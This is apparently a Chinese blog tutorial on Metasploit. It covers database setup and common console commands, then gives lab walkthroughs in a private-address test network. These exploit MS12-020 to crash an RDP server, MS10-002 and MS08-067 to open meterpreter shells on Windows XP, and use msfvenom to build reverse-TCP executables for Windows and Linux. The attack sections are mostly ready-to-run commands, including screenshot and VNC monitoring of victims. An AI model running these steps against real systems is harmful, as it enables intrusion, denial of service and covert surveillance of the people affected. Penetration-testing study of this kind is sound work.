首页 > 技术文章 > Metasploit基本使用及常见漏洞复现

BeatRex 2019-09-20 17:57 原文

一、数据库配置

  1. 启动postgresql数据库服务:/etc/init.d/postgresql start
    在这里插入图片描述
  2. su - postgres
  3. 创建数据库用户:createuser 用户名 -P然后输入密码
    在这里插入图片描述
  4. 创建数据库:createdb --owner=用户名 数据库名
  5. 启动msf:msfconsole
  6. msf连接数据库:db_connect 用户名:密码@127.0.0.1/数据库名
  7. 查看数据库连接状态:db_status

二、常用命令

  1. 查看帮助信息help

  2. 搜索:search 关键字
    如搜索ipidseq进行ip扫描
    在这里插入图片描述

  3. 选择模块:use 模块
    如使用搜索到的模块:
    在这里插入图片描述

  4. 查看受影响的范围:show targets

  5. 查看需要设置的选项:show options
    在这里插入图片描述
    Required中为yes的需要我们手动设置,如果current setting即当我们不去设置需要我们手动设置的选项时他的默认参数。

  6. 设置选项:set 选项 值 全局设置:setg 选项 值
    在这里插入图片描述
    取消某个选项的参数:unset 选项名 全局取消:unsetg 选项名

  7. 开始扫描:run或者exploit

  8. 查看session列表:session -l

  9. 进入到具体的session:session -i 编号

  10. 挂起session:background

三、常见漏洞进行复现

ms12-020

搜索关键字:search ms12-020
在这里插入图片描述
使用相应模块:use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
在这里插入图片描述
查看选项帮助:show options
在这里插入图片描述
设置攻击对象ip:set rhost 192.168.10.134
在这里插入图片描述
开始攻击:run
在这里插入图片描述
查看攻击对象(windows server 2003)
在这里插入图片描述
当使用启动项提权方法时,强迫受害者关机重启可利用此方法

ms10-002

搜索编号关键字查找利用模块search ms10-002
在这里插入图片描述
使用编号0的模块进行利用use exploit/windows/browser/ms10_002_aurora,查看需要设置的选项show options
在这里插入图片描述
设置本地ip地址(kali攻击机)及端口(端口如果没有占用可以使用默认8080,此处使用8080)set srvhost 192.168.10.133
在这里插入图片描述
设置payload,set payload windows/meterpreter/reverse_tcp
在这里插入图片描述
查看payload需要设置的选项show options
在这里插入图片描述
设置本地主机ip,set lhost 192.168.10.133
在这里插入图片描述
开始攻击run,将msf生成的URL发送给受害者(windows xp),在IE浏览器打开
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
查看session列表:sessions -l
在这里插入图片描述
选择刚刚建立的session:sessions -i 2,弹出meterpreter后输入shell,进入到受害者的shell
在这里插入图片描述
退出shell输入exit,退出meterpreter将session挂起输入background
在这里插入图片描述

ms08-067

攻击机:kali linux
受害机:windows xp SP3(需关闭防护墙)
搜索漏洞利用模块:search ms08-067
在这里插入图片描述
使用模块:use exploit/windows/smb/ms08_067_netapi
在这里插入图片描述
设置payload:set payload windows/meterpreter/reverse_tcp
在这里插入图片描述
查看需要设置的选项:show options
设置受害者ip:set rhost 192.168.10.141
设置本地监听ip:set lhost 192.168.10.133
可先通过show target查看受影响的系统版本,然后选择受害机对应的版本
设置目标的系统类型:set target Windows XP SP3 Chinese - Simplified (NX)
开始攻击:run
反弹meterpreter后可输入help,使用screenshot可对受害机进行截屏,使用run vnc可进行监控
在这里插入图片描述
在这里插入图片描述

四、shellcode的生成

参考文章:https://blog.csdn.net/qk1992919/article/details/53782567
首先攻击机在msf下需要使用exploit/multi/handler模块:use exploit/multi/handler
在这里插入图片描述
在参考文章中生成shellcode,这里我做两个实验windows下和linux下

windows:

参考命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

  1. 在kali下shell中输入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.133 LPORT=1234 -f exe > shell.exe lhost为攻击机(kali)本地ip,lport为攻击机监听的端口
    在这里插入图片描述

  2. 在msf首先使用监听模块,然后设置生成shellcode时的payload
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp在这里插入图片描述

  3. 设置payload选项(按照生成shellcode时所这是的监听ip及端口进行设置)
    set lhost 192.168.10.133
    set lport 1234
    在这里插入图片描述

  4. 开始监听:run

  5. 将生成的shell.exe放到受害机(windows xp)下打开,在kali查看反弹的meterpreter
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
    成功反弹meterpreter
    此时,在xp下,通过netstat -ano可发现外联到kali上,通过taskkill /PID shell.exe的pid -F杀掉进程,查看kali处,发现session已经断开
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

Linux:

参考命令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

  1. 打开kali的shell生成linux下的shellcode
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.133 LPORT=1235 -f elf > shell.elf
  2. 给shell.elf赋予可执行权限chmod 777 shell.elf
    在这里插入图片描述
    msf下使用监听模块并设置payload
    use exploit/multi/handler
    set payload linux/x86/meterpreter/reverse_tcp
    set lhost 192.168.10.133
    set lport 1235
    run
    然后在本地执行(相当于自己再充当下受害方)
    在这里插入图片描述
    成功获取到meterpreter

推荐阅读